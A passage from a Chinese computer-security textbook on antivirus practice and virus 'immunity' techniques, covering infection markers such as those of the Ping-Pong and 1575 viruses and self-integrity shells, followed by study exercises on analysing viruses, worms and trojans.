( 5) 杀毒完成后,重启计算机,再次用防杀计算机病毒软件检查系统中是否还存在计算机病毒,并确定被感染破坏的数据确实被完全恢复 。
( 6) 对于杀毒软件无法杀除的计算机病毒,应将计算机病毒样本送交防杀计算机病毒软件厂商的研究中心,以供详细分析 。
1.6.6 计算机病毒免疫技术
1,计算机病毒免疫的基本原理计算机病毒的传染模块一般包括传染条件判断和实施传染两个部分。在病毒被激活的状态下,病毒程序通过判断传染条件的满足与否,以决定是否对目标对象进行传染。一般情况下,病毒程序在传染一个对象后,都要给被传染对象加上传染标识。传染条件的判断就是检测被攻击对象是否存在这种标识:若存在这种标识,则病毒程序不对该对象进行传染;若不存在这种标示,则病毒程序就对该对象实施传染。于是,可以想象,如果能在正常对象中加上这种标识,就像给生物体注射疫苗后会产生抗体一样,使该对象可以不受病毒的传染,起到免疫的作用。如香港病毒,1575病毒,在传染前先检查待传染的扇区或程序里是否含有病毒代码,如果没有找到则进行传染;如果找到了则不再进行传染。这种用作判断是否为病毒自身的病毒代码被称作传染标志,或免疫标志。
2,针对某一种病毒的计算机病毒免疫方法例如对小球病毒,在 DOS引导扇区的 1FCH处填上 1357H,小球病毒一检查到这个标志就不再对它进行传染了。对于 1575文件型病毒,免疫标志是文件尾的内容为 0CH和 0AH的两个字节,1575
病毒若发现文件尾含有这两个字节,则不进行传染。这种方法的优点是可以有效地防止某一种特定病毒的传染。但缺点很严重,
主要有以下几点:
( 1)对于不设有感染标识或不检查病毒标志的病毒不能达到免疫的目的:有的病毒只要在激活的状态下,会无条件地把病毒传染给被攻击对象,而不论这种对象是否已经被感染过或者是否具有某种标识。如黑色星期五,是在传染时不判断是否存在免疫标志,病毒只要找到一个可传染对象就进行一次传染,使一个文件可能被黑色星期五反复传染多次,滚雪球一样越滚越大(要说明的是,黑色星期五病毒程序中本来具有判别传染标志的代码,但由于程序设计错误,使判断失败,形成现在的情况,对文件会反复感染,传染标志形同虚设)。
( 2) 当出现这种病毒的变种不再使用这个免疫标志时,或出现新病毒时,免疫标志发挥不了作用 。
( 3) 某些病毒的免疫标志不容易仿制,非要加上这种标志不可,
则对原来的文件要做大的改动 。 例如对大麻病毒就不容易做免疫标志 。
( 4) 由于病毒的种类较多,又有技术上的原因,不可能对一个对象加上各种病毒的免疫标识,这就使得该对象不能对所有的病毒具有兔疫作用 。
( 5)这种方法能阻止传染,却不能阻止病毒的破坏行为,仍然放任病毒驻留在内存中。 目前使用这种免疫方法的商品化反病毒软件已不多见了。
3,基于自我完整性检查的计算机病毒免疫方法这种方法的原理是,为可执行程序增加一个免疫外壳,同时在免疫外壳中记录有关用于恢复自身的信息。免疫外壳占 1KB~ 3KB。
执行具有这种免疫功能的程序时,首先运行免疫外壳,检查程序自身的大小、校验和、生成日期和时间等情况,无发现异常,再转去执行受保护的程序。这种免疫方法可以看作是一种通用的自我完整性检验方法,不论什么原因使这些程序本身的特性受到改变或破坏,
免疫外壳都可以检查出来,并发出告警,并在大多数情况下能使之复原。此外还提供可供用户选择的回答:自毁、重新引导启动计算机、自我恢复到未受改变前的情况和继续操作。
但是,这种方法也存在一些缺点和不足:
( 1) 每个受到保护的文件都要增加 1KB~ 3KB,增加额外的存储开销 。
( 2) 现在使用的一些校验码算法不能满足防病毒的需要,被某些种类的病毒感染的文件不能被检查出来 。
( 3) 目前这种方法只能用于文件病毒而不能用于引导扇区病毒,
也无法对付覆盖方式的文件型病毒 。
( 4) 有些类型的文件外加免疫外壳后便不能正常执行 。 这些文件不能采用这种防护方法 。
( 5)当某些尚不能被病毒检测软件检查出来的病毒感染了一个文件,而该文件又被免疫外壳包在里面时,这个病毒就象穿了,保护盔甲,,使查毒软件查不到它,而它却能在得到运行机会时跑出来继续传染扩散。
习 题
1,收集充分的证据,论述计算机病毒的特征 。
2,收集资料,解析下列病毒的关键技术
( 1),求职信,病毒
( 2),主页,病毒
( 3),欢乐时光,病毒
( 4),爱虫,病毒
( 5),美丽杀,病毒
( 6),万花谷,病毒
( 7),红色代码,病毒
3,收集资料,解析一种最新病毒的关键技术 。
4,总结现代病毒技术及其发展趋势。
5,分析蠕虫与病毒的区别,收集资料,解析下面蠕虫的关键技术 。
( 1) 蠕虫王
( 2) 震荡波
6,比较病毒,蠕虫和木马之间的异同 。
7,讨论现代病毒技术的发展趋势 。
8,讨论现代病毒检测技术的发展趋势 。
9,收集资料,讨论针对当前 3种流行病毒的查,杀和感染后的恢复方法 。
10,收集资料,讨论针对当前 3种流行蠕虫的查,杀和感染后的恢复方法 。
11,收集资料,讨论针对当前 3种流行木马的防范及清除策略 。
12,讨论现代反病毒技术的发展趋势 。
13,讨论现代计算机病毒免疫技术的发展趋势和技术特点 。
14,写出 5种常用反病毒软件的特点及其使用方法 。
15,尽量多地列出恶意程序的种类、特点、危害和防范策略。